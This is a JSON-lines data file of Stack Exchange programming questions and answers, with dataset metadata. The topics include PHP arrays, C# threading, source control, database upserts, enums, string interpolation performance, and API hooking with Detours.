{"id": "hf_cc6c63538dca", "question": "<p>In php, I often need to map a variable using an array ... but I can not seem to be able to do this in a one liner. c.f. example:</p>\n\n<pre><code>// the following results in an error:\necho array('a','b','c')[$key];\n\n// this works, using an unnecessary variable:\n$variable = array('a','b','c');\necho $variable[$key];\n</code></pre>\n\n<p>This is a minor problem, but it keeps bugging every once in a while ... I don't like the fact, that I use a variable for nothing ;)</p>\n", "question_body": "", "answer": "I wouldn't bother about that extra variable, really. If you want, though, you could also remove it from memory after you've used it:\n```\n```\n$variable = array('a','b','c');\necho $variable[$key];\nunset($variable);\n```\n```\nOr, you could write a small function:\n```\n```\nfunction indexonce(&$ar, $index) {\n  return $ar[$index];\n}\n```\n```\nand call this with:\n```\n```\n$something = indexonce(array('a', 'b', 'c'), 2);\n```\n```\nThe array should be destroyed automatically now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.981110"}
{"id": "hf_a800c7a259e9", "question": "<p>From time to time I get a System.Threading.ThreadStateException when attempting to restart a thread. The code in question is as follows:</p>\n\n<pre><code>// Make sure the thread is done stopping\nwhile (this.mThread.ThreadState == ThreadState.Running)\n{ \n    Thread.Sleep(0);\n}\n// Respawn a thread if the current one is stopped or doesn't exist\nif (this.mThread == null || this.mThread.ThreadState == ThreadState.Stopped)\n{ \n    this.mThread = new Thread(new ParameterizedThreadStart(Monitor)); }\n// Start the thread\nif (check)\n{ \n    this.mThread.Start(60000); \n}\nelse\n{   \n    this.mThread.Start(0); \n}\n</code></pre>\n\n<p>So two questions - is this the correct way of doing things, and  it is, is there a way to prevent the error from occurring?</p>\n", "question_body": "", "answer": "A ThreadStateException is thrown because you're trying to start a thread that's not in a startable state. The most likely situations would be that it's already running, or that it has fully exited.\nThere are potentially a couple things that might be happening. First is, the thread might have transitioned from Running to StopRequested, which isn't fully stopped yet, so your logic doesn't create a new thread, and you're trying to start a thread which has just finished running or is about to finish running (neither of which is a valid state for restarting).\nThe other possibility is that the thread was aborted. Threads which are aborted go to the Aborted state, not the Stopped state, and of course are also not valid for restarting.\nReally, the only kind of thread that is still alive that can be \"restarted\" is one that's suspended. You might want to use this conditional instead:\n```\nif (this.mThread == null || this.mThread.ThreadState != ThreadState.Suspended)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.045146"}
{"id": "hf_26bca1fd7cc1", "question": "<p>I've included a mobile web form in my asp.net project, I thought that it could/should be seen just for my mobile users but I realize that it can also be seen from any browser, I don't see problem there cause I could diff the access using HttpBrowserCapabilities.IsMobileDevice=true and transferring to the appropiate aspx page, but it results that when I access to the web form from my mobile device it is identified as IsMobileDevice = false and sends me to another page.</p>\n\n<p>How could it be possible that?</p>\n\n<p>The mobile device runs Pocket PC 2003.</p>\n", "question_body": "", "answer": "Some are not recognized, because the UserAgent has been messed with or a new browser is being used. Such as Opera Mobile 9.5.  To fix this you need to create a Browser (*.browser) file specifically for defining this.  I had to do it for the new Mozilla based UserAgent that is being sent from Google.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.117678"}
{"id": "hf_c29f82da0208", "question": "<p>I love list comprehensions in Python, because they concisely represent a transformation of a list.</p>\n\n<p>However, in other languages, I frequently find myself writing something along the lines of:</p>\n\n<pre><code>foreach (int x in intArray)\n  if (x &gt; 3) //generic condition on x\n    x++ \n    //do other processing\n</code></pre>\n\n<p>This example is in C#, where I'm under the impression LINQ can help with this, but is there some common programming construct which can replace this slightly less-than-elegant solution?  Perhaps a data structure I'm not considering?</p>\n", "question_body": "", "answer": "Depends on the language and what you need to do, a \"map\" as it's called in many languages could be what you're looking for. I don't know C#, but according to\nthis\npage, .NET 2.0 calls map \"ConvertAll\".\nThe meaning of \"map\" is pretty simple - take a list, and apply a function to each element of it, returning a new list. You may also be looking for \"filter\", which would give you a list of items that satisfy a predicate in another list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.264571"}
{"id": "hf_1ff541ea3bde", "question": "<p>I'm new to development (an admin by trade) and I'm setting up my development environment and I would like to set up a CruiseControl.Net server on Server 2008.  A quick Google did not turn up any instructions for getting it running on IIS 7.0, so I was wondering if anyone had experience getting this set up.</p>\n", "question_body": "", "answer": "I have never tried on Server 2008, but I have installed CruiseControl.NET on Vista which includes IIS 7.0.  I don't remember there being any problems.  You do have an admin background which should help if something does pop up.\nJust use the\nCruiseControl.NET wiki\nto get you thru the install and getting it setup.  That is all I did.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.300864"}
{"id": "hf_ba711cc1a267", "question": "<p>How can I get programmatic access to the call stack?</p>\n", "question_body": "", "answer": "Try\nSystem.Diagnostics.StackTrace\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.325420"}
{"id": "hf_5c2869cca632", "question": "<p>I wrote a piece of code to convert PHP's striplashes into valid Python [backslash] escapes:</p>\n\n<pre><code>cleaned = stringwithslashes\ncleaned = cleaned.replace('\\\\n', '\\n')\ncleaned = cleaned.replace('\\\\r', '\\n')\ncleaned = cleaned.replace('\\\\', '')\n</code></pre>\n\n<p>How can I condense it? </p>\n", "question_body": "", "answer": "You can obviously concatenate everything together:\n```\n```\ncleaned = stringwithslashes.replace(\"\\\\n\",\"\\n\").replace(\"\\\\r\",\"\\n\").replace(\"\\\\\",\"\")\n```\n```\nIs that what you were after? Or were you hoping for something more terse?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.350042"}
{"id": "hf_4705b700e9f4", "question": "<p>I've tried using source control for a couple projects but still don't really understand it.  For these projects, we've used TortoiseSVN and have only had one line of revisions.  (No trunk, branch, or any of that.)  If there is a recommended way to set up source control systems, what are they?  What are the reasons and benifits for setting it up that way?  What is the underlying differences between the workings of a centralized and distributed source control system?</p>\n", "question_body": "", "answer": "Think of source control as a giant \"Undo\" button for your source code. Every time you check in, you're adding a point to which you can roll back. Even if you don't use branching/merging, this feature alone can be very valuable.\nAdditionally, by having one 'authoritative' version of the source control, it becomes much easier to back up.\nCentralized vs. distributed... the difference is really that in distributed, there isn't necessarily one 'authoritative' version of the source control, although in practice people usually still do have the master tree.\nThe big advantage to distributed source control is two-fold:\nWhen you use distributed source control, you have the whole source tree on your local machine. You can commit, create branches, and work pretty much as though you were all alone, and then when you're ready to push up your changes, you can promote them from your machine to the master copy. If you're working \"offline\" a lot, this can be a huge benefit.\nYou don't have to ask anybody's permission to become a distributor of the source control. If person A is running the project, but person B and C want to make changes, and share those changes with each other, it becomes much easier with distributed source control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.378670"}
{"id": "hf_6396921bb9a6", "question": "<p>I'm looking for a pre-written component (w/source) for a Delphi project that I'm working on, to generate mind-maps / concept-maps similar to these:</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/Image:MindMeister_screenshot_OS_X.jpg\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/Image:MindMeister_screenshot_OS_X.jpg</a>\n<a href=\"http://en.wikipedia.org/wiki/Image:XMIND_2008_in_Windows_Vista.png\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/Image:XMIND_2008_in_Windows_Vista.png</a></p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "As a former Delphi developer, I sympathize.  It used to be that you could find a free component with source for just about anything.  You probably know about the\nDelphi Super Page\n(my old go-to source for everything Delphi).  I looked; no mind-mapping components, there.  (Of course, the site has not been updated in about 2 years).\nI do have a suggestion, though, but it's not optimal:\nStarUML\nwas written in Delphi, and it contains custom components for creating UML diagrams.  The source is available for download, and it seems to me that the UML primitives (boxes, lines, clouds and such) could be adapted to your purpose.  The web site is\nhttp://staruml.sourceforge.net/en/\n.\nI know it's not ideal, but at least you would not have to start from scratch.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.417135"}
{"id": "hf_bc82902202e8", "question": "<p>I've heard of the idea of bootstrapping a language, that is, writing a compiler/interpreter for the language in itself.  I was wondering how this could be accomplished and looked around a bit, and saw someone say that it could only be done by either</p>\n\n<ul>\n<li>writing an initial compiler in a different language.</li>\n<li>hand-coding an initial compiler in Assembly, which seems like a special case of the first</li>\n</ul>\n\n<p>To me, neither of these seem to actually be <em>bootstrapping</em> a language in the sense that they both require outside support.  Is there a way to actually write a compiler in its own language?</p>\n", "question_body": "", "answer": "The way I've heard of is to write an extremely limited compiler in another language, then use that to compile a more complicated version, written in the new language. This second version can then be used to compile itself, and the next version. Each time it is compiled the last version is used.\nThis is the definition of\nbootstrapping:\nthe process of a simple system activating a more complicated system that serves the same purpose.\nEDIT: The\nWikipedia article on compiler bootstrapping\ncovers the concept better than me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.490340"}
{"id": "hf_f99963e2f0a9", "question": "<p>I've written a stored proc that will do an update if a record exists, otherwise it will do an insert. It looks something like this:</p>\n\n<pre><code>update myTable set Col1=@col1, Col2=@col2 where ID=@ID\nif @@rowcount = 0\ninsert into myTable (Col1, Col2) values (@col1, @col2)\n</code></pre>\n\n<p>My logic behind writing it in this way is that the update will perform an implicit select using the where clause and if that returns 0 then the insert will take place.</p>\n\n<p>The alternative to doing it this way would be to do a select and then based on the number of rows returned either do an update or insert. This I considered inefficient because if you are to do an update it will cause 2 selects (the first explicit select call and the second implicit in the where of the update). If the proc were to do an insert then there'd be no difference in efficiency.</p>\n\n<p>Is my logic sound here?\nIs this how you would combine an insert and update into a stored proc?</p>\n", "question_body": "", "answer": "Your assumption is right, this is the optimal way to do it and it's called\nupsert/merge\n.\nImportance of UPSERT - from sqlservercentral.com\n:\nFor every update in the case mentioned above we are removing one\n  additional read from the table if we\n  use the UPSERT instead of EXISTS.\n  Unfortunately for an Insert, both the\n  UPSERT and IF EXISTS methods use the\n  same number of reads on the table.\n  Therefore the check for existence\n  should only be done when there is a\n  very valid reason to justify the\n  additional I/O. The optimized way to\n  do things is to make sure that you\n  have little reads as possible on the\n  DB.\nThe best strategy is to attempt the\n  update. If no rows are affected by the\n  update then insert. In most\n  circumstances, the row will already\n  exist and only one I/O will be\n  required.\nEdit\n: \nPlease check out\nthis answer\nand the linked blog post to learn about the problems with this pattern and how to make it work safe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.513189"}
{"id": "hf_dd27d957a440", "question": "<p>In our place we're split between using mysqli and PDO for stuff like prepared statements and transaction support. Some projects use one, some the other. There is little realistic likelihood of us ever moving to another RDBMS.</p>\n\n<p>I prefer PDO for the single reason that it allows named parameters for prepared statements, and as far as I am aware mysqli does not.</p>\n\n<p>Are there any other pros and cons to choosing one over the other as a standard as we consolidate our projects to use just one approach?</p>\n", "question_body": "", "answer": "Moving an application from one database to another isn't very common, but sooner or later you may find yourself working on another project using a different RDBMS. If you're at home with PDO then there will at least be one thing less to learn at that point.\nApart from that I find the PDO API a little more intuitive, and it feels more truly object oriented. mysqli feels like it is just a procedural API that has been objectified, if you know what I mean. In short, I find PDO easier to work with, but that is of course subjective.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.572229"}
{"id": "hf_eebb40f06f20", "question": "<p>If there are any language designers out there (or people simply in the know), I'm curious about the methodology behind creating standard libraries for interpreted languages. Specifically, what seems to be the best approach? Defining standard functions/methods in the interpreted language, or performing the processing of those calls in the compiled language in which the interpreter is written?</p>\n\n<p>What got me to thinking about this was the SO question about a stripslashes()-like function in Python. My first thought was \"why not define your own and just call it when you need it\", but it raised the question: is it preferable, for such a function, to let the interpreted language handle that overhead, or would it be better to write an extension and leverage the compiled language behind the interpreter?</p>\n", "question_body": "", "answer": "The line between \"interpreted\" and \"compiled\" languages is really fuzzy these days. For example, the first thing Python does when it sees source code is compile it into a bytecode representation, essentially the same as what Java does when compiling class files. This is what *.pyc files contain. Then, the python runtime executes the bytecode without referring to the original source. Traditionally, a purely interpreted language would refer to the source code continuously when executing the program.\nWhen building a language, it is a good approach to build a solid foundation on which you can implement the higher level functions. If you've got a solid, fast string handling system, then the language designer can (and should) implement something like stripslashes() outside the base runtime. This is done for at least a few reasons:\nThe language designer can show that the language is flexible enough to handle that kind of task.\nThe language designer actually writes real code in the language, which has tests and therefore shows that the foundation is solid.\nOther people can more easily read, borrow, and even change the higher level function without having to be able to build or even understand the language core.\nJust because a language like Python compiles to bytecode and executes that doesn't mean it is slow. There's no reason why somebody couldn't write a Just-In-Time (JIT) compiler for Python, along the lines of what Java and .NET already do, to further increase the performance. In fact, IronPython compiles Python directly to .NET bytecode, which is then run using the .NET system including the JIT.\nTo answer your question directly, the only time a language designer would implement a function in the language behind the runtime (eg. C in the case of Python) would be to maximise the performance of that function. This is why modules such as the regular expression parser are written in C rather than native Python. On the other hand, a module like getopt.py is implemented in pure Python because it can all be done there and there's no benefit to using the corresponding C library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.606976"}
{"id": "hf_f48611ef30c5", "question": "<p>Does anyone know how to transform a enum value to a human readable value?</p>\n\n<p>For example:</p>\n\n<blockquote>\n  <p>ThisIsValueA should be \"This is Value A\".</p>\n</blockquote>\n", "question_body": "", "answer": "Most examples of this that I've seen involve marking your enum values up with [Description] attributes and using reflection to do the \"conversion\" between the value and the description. Here's an old blog post about it:\n<\nLink\n>", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.657003"}
{"id": "hf_9edd8cae3357", "question": "<p>I need to validate an integer to know if is a valid enum value.</p>\n\n<p>What is the best way to do this in C#?</p>\n", "question_body": "", "answer": "Brad Abrams specifically warns against\n```\nEnum.IsDefined\n```\nin his post\nThe Danger of Oversimplification\n.\nThe best way to get rid of this requirement (that is, the need to validate enums) is to remove ways where users can get it wrong, e.g., an input box of some sort. Use enums with drop downs, for example, to enforce only valid enums.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.693906"}
{"id": "hf_de0bb21881dc", "question": "<p>(assume php5) consider</p>\n\n<pre><code>&lt;?php\n\n    $foo = 'some words';\n\n    //case 1\n    print \"these are $foo\";\n\n    //case 2\n    print \"these are {$foo}\";\n\n    //case 3\n    print 'these are ' . $foo;\n?&gt;\n</code></pre>\n\n<p>Is there much of a difference between 1 and 2?</p>\n\n<p>If not, what about between 1/2 and 3?</p>\n", "question_body": "", "answer": "Well, as with all \"What might be faster in real life\" questions, you can't beat a real life test.\n```\n```\nfunction timeFunc($function, $runs)\n{\n  $times = array();\n\n  for ($i = 0; $i < $runs; $i++)\n  {\n    $time = microtime();\n    call_user_func($function);\n    $times[$i] = microtime() - $time;\n  }\n\n  return array_sum($times) / $runs;\n}\n\nfunction Method1()\n{ \n  $foo = 'some words';\n  for ($i = 0; $i < 10000; $i++)\n    $t = \"these are $foo\";\n}\n\nfunction Method2()\n{\n  $foo = 'some words';\n  for ($i = 0; $i < 10000; $i++)\n    $t = \"these are {$foo}\";\n}\n\nfunction Method3()\n {\n  $foo = 'some words';\n  for ($i = 0; $i < 10000; $i++)\n    $t = \"these are \" . $foo;\n}\n\nprint timeFunc('Method1', 10) . \"\\n\";\nprint timeFunc('Method2', 10) . \"\\n\";\nprint timeFunc('Method3', 10) . \"\\n\";\n```\n```\nGive it a few runs to page everything in, then...\n0.0035568\n0.0035388\n0.0025394\nSo, as expected, the interpolation are virtually identical (noise level differences, probably due to the extra characters the interpolation engine needs to handle). Straight up concatenation is about 66% of the speed, which is no great shock. The interpolation parser will look, find nothing to do, then finish with a simple internal string concat. Even if the concat were expensive, the interpolator will still have to do it,\nafter\nall the work to parse out the variable and trim/copy up the original string.\nUpdates By Somnath:\nI added Method4() to above real time logic.\n```\n```\nfunction Method4()\n {\n  $foo = 'some words';\n  for ($i = 0; $i < 10000; $i++)\n    $t = 'these are ' . $foo;\n}\n\nprint timeFunc('Method4', 10) . \"\\n\";\n\nResults were:\n\n0.0014739\n0.0015574\n0.0011955\n0.001169\n```\n```\nWhen you are just declaring a string only and no need to parse that string too, then why to confuse PHP debugger to parse. I hope you got my point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.718569"}
{"id": "hf_6c137ac97798", "question": "<p>Is it possible in .NET to list files on a remote location like an URL? Much in the same way the System.IO classes work. All I need is the URLs to images that are on a remote server.</p>\n", "question_body": "", "answer": "Short answer:\nNo, unless you have more control over that web-server\nLong answer:\nHere are possible solutions...\nYou will need server-side script that will do it locally and output this list in your preferred format.\nMost of the web-servers implement default file-browsing pages, so you could theoretically parse those but this solution will be very fragile and not very portable even between different versions of the same web-server.\nIf you have FTP access...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.758059"}
{"id": "hf_c103f7a94671", "question": "<p>I've seen it mentioned in many blogs around the net, but I believe it shoud be discussed here.\nWhat can we do when we have an MVC framework (I am interested in ZEND) in PHP but our host does not provide mod_rewrite?\nAre there any \"short-cuts\"? Can we transfer control in any way (so that a mapping may occur between pages)? Any ideas?\nThank you :-)</p>\n", "question_body": "", "answer": "mod_rewrite is almost essential in today's hosting environment..but unfortunately not everyone got the message.\nLots of the large php programs (I'm thinking magento, but most can cope) have a pretty-url fall back mode for when mod_rewrite isn't available.\nURLs end up looking like www.site.com/index.php?load-this-page\nThey must be running some magic to grab the variable name from the $_GET variable and using it as the selector for what module/feature to execute.\nIn a related note, I've seen lots of messed up URLs in the new facebook site where it's using the #.  So links look like www.new.facebook.com/home.php#/inbox/  Clearly we're not meant to see that but it suggests that they're probably parsing the $_SERVER['REQUEST_URI'] variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.793443"}
{"id": "hf_e066b4cc0145", "question": "<p>ASP.NET MVC has been <a href=\"https://stackoverflow.com/questions/tagged/mvc\">discussed</a> on this forum a few times. I'm about to do a large <strong>migration</strong> of several websites from classic ASP/ASP.NET WebForms to ASP.NET MVC and was wondering what kind of advice those of you with experience in both technologies have.</p>\n\n<p>What I have: a typical ASP.NET app with heavily coupled presentation/business logic, all sorts of messy ASP.NET-generated Javascript cruft, and so forth.</p>\n\n<p>What I want: clean ASP.NET MVC-generated agnostic markup. 'Nuff said.</p>\n\n<p>Any pointers, tips, tricks, or gotchas to be aware of?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Wow, I'm not sure we're talking migration here anymore - the difference is more like re-writing!\nAs others have also said, MVC is a whole new way to build web apps - most of your presentation code won't carry across.\nHowever, if you are re-writing in MVC what you already have is a good prototype. Your problem is likely to be that it would be hard to do bit by bit - for instance MVC uses URL renaming out-of-the-box, making linking back and forth rather messy.\nAnother question would be why? Many of us have big sprawling legacy applications that we'd like to be in the latest technologies, but if your application is already working why switch?\nIf I was looking at a new application right now MVC would be a very strong candidate, but there's no gain large enough to switching to it late in a project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.817581"}
{"id": "hf_c1e99049c63b", "question": "<p><code>NSInteger</code>/<code>NSUInteger</code> are Cocoa-defined replacements for the regular built-in types.</p>\n\n<p>Is there any benefit to using the NS* types over the built-ins? Which do you prefer and why? Are <code>NSInteger</code> and <code>int</code> the same width on 32-bit / 64-bit platforms?</p>\n", "question_body": "", "answer": "64-bit is actually the raison d'être for NSInteger and NSUInteger; before 10.5, those did not exist. The two are simply defined as longs in 64-bit, and as ints in 32-bit:\n```\n```\n#if __LP64__ || NS_BUILD_32_LIKE_64\ntypedef long NSInteger;\ntypedef unsigned long NSUInteger;\n#else\ntypedef int NSInteger;\ntypedef unsigned int NSUInteger;\n#endif\n```\n```\nThus, using them in place of the more basic C types when you want the 'bit-native' size.\nCocoaDev has some more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.866296"}
{"id": "hf_37fb7fdd0d2a", "question": "<p>How can I permanently enable line numbers in IntelliJ IDEA?</p>\n", "question_body": "", "answer": "IntelliJ 14.X Onwards\nFrom version 14.0 onwards, the path to the setting dialog is slightly different, a\nGeneral\nsubmenu has been added between\nEditor\nand\nAppearance\nas shown below\nIntelliJ 8.1.2 - 13.X\nFrom IntelliJ 8.1.2 onwards, this option is in\nFile | Settings\n1\n. Within the\nIDE Settings\nsection of that dialog, you'll find it under\nEditor | Appearance.\nOn a Mac, these are named\nIntelliJ IDEA | Preferences...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.919359"}
{"id": "hf_6b32294faa19", "question": "<p>So I'm not quite convinced about OpenID yet, and here is why:</p>\n\n<p>I already have an OpenID because I have a Blogger account. But I discovered that Blogger seems to be a poor provider when I tried to identify myself on the <a href=\"http://altdotnet.org\" rel=\"nofollow noreferrer\">altdotnet</a> page and recieved the following message: </p>\n\n<blockquote>\n  <p><strong>You must use an OpenID persona that specifies a valid email address.</strong></p>\n</blockquote>\n\n<p>Lets forget the details of this little error and assume that I want to change to a different provider. So I sign up with a different provider and get a new, different OpenID - how would I switch my existing StackOverflow account to be associated with my new OpenID?</p>\n\n<p>I understand this would be easy if I had my own domain set up to delegate to a provider, because I could just change the delegation. Assume I do not have my own domain.</p>\n", "question_body": "", "answer": "Ideally Stack Overflow would allow you to change your OpenID.\nOTOH, ideally you would have set up\nOpenID delegation\non your own site, and used that to identify yourself.\nWith delegation, you would need only change which service you delegate to. You'd still be identified by your own URL that you control. But that doesn't help now unless Stack Overflow lets you change it. Most sites tie OpenIDs to real accounts, and would let you switch or at least add additional OpenIDs. Doesn't seem like you could map OpenIDs to accounts 1:1 unless the result of access is totally trivial; otherwise you're in a situation like this where you lose your existing questions, answers, and reputation for switching IDs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:43.968173"}
{"id": "hf_0e545cffe7ba", "question": "<p>Are we supposed to find workarounds in our web applications so that they will work in every situation? Is it time to do away with IE6 programming?</p>\n", "question_body": "", "answer": "I recommend people check their own user stats for their site before making this decision, but here's a common reference regarding popular browser versions :\nhttp://www.w3schools.com/browsers/browsers_stats.asp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.011363"}
{"id": "hf_a749ff215e91", "question": "<p>I am trying to implement string unescaping with Python regex and backreferences, and it doesn't seem to want to work very well. I'm sure it's something I'm doing wrong but I can't figure out what...</p>\n\n<pre><code>&gt;&gt;&gt; import re\n&gt;&gt;&gt; mystring = r\"This is \\n a test \\r\"\n&gt;&gt;&gt; p = re.compile( \"\\\\\\\\(\\\\S)\" )\n&gt;&gt;&gt; p.sub( \"\\\\1\", mystring )\n'This is n a test r'\n&gt;&gt;&gt; p.sub( \"\\\\\\\\\\\\1\", mystring )\n'This is \\\\n a test \\\\r'\n&gt;&gt;&gt; p.sub( \"\\\\\\\\1\", mystring )\n'This is \\\\1 a test \\\\1'\n</code></pre>\n\n<p>I'd like to replace \\\\[char] with \\[char], but backreferences in Python don't appear to follow the same rules they do in every other implementation I've ever used. Could someone shed some light?</p>\n", "question_body": "", "answer": "Well, I think you might have missed the r or miscounted the backslashes...\n```\n```\n\"\\\\n\" == r\"\\n\"\n\n>>> import re\n>>> mystring = r\"This is \\\\n a test \\\\r\"\n>>> p = re.compile( r\"[\\\\][\\\\](.)\" )\n>>> print p.sub( r\"\\\\\\1\", mystring )\nThis is \\n a test \\r\n>>>\n```\n```\nWhich, if I understood is what was requested.\nI suspect the more common request is this:\n```\n```\n>>> d = {'n':'\\n', 'r':'\\r', 'f':'\\f'}\n>>> p = re.compile(r\"[\\\\]([nrfv])\")\n>>> print p.sub(lambda mo: d[mo.group(1)], mystring)\nThis is \\\n a test \\\n>>>\n```\n```\nThe interested student should also read Ken Thompson's\nReflections on Trusting Trust\"\n, wherein our hero uses a similar example to explain the perils of trusting compilers you haven't bootstrapped from machine code yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.045256"}
{"id": "hf_43220710f1bd", "question": "<p>I am trying to snoop on a log file that an application is writing to.</p>\n<p>I have successfully hooked createfile with the detours library from MSR, but createfile never seems to be called with file I am interested in snooping on.  I have also tried hooking openfile with the same results.</p>\n<p>I am not an experienced Windows/C++ programmer, so my initial two thoughts were either that the application calls createfile before I hook the apis, or that there is some other API for creating files/obtaining handles for them.</p>\n", "question_body": "", "answer": "Here's a link which might be of use:\nGuerilla-Style File Monitoring with C# and C++\nIt is possible to create a file without touching CreateFile API but can I ask\nwhat DLL injection method you're using\n? If you're using something like Windows Hooks your DLL won't be installed until sometime after the target application initializes and you'll miss early calls to CreateFile. Whereas if you're using something like DetourCreateProcessWithDll your CreateFile hook can be installed prior to any of the application startup code running.\nIn my experience 99.9% of created/opened files result in a call to CreateFile, including files opened through C and C++ libs, third-party libs, etc. Maybe there are some undocumented DDK functions which don't route through CreateFile, but for a typical log file, I doubt it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.075915"}
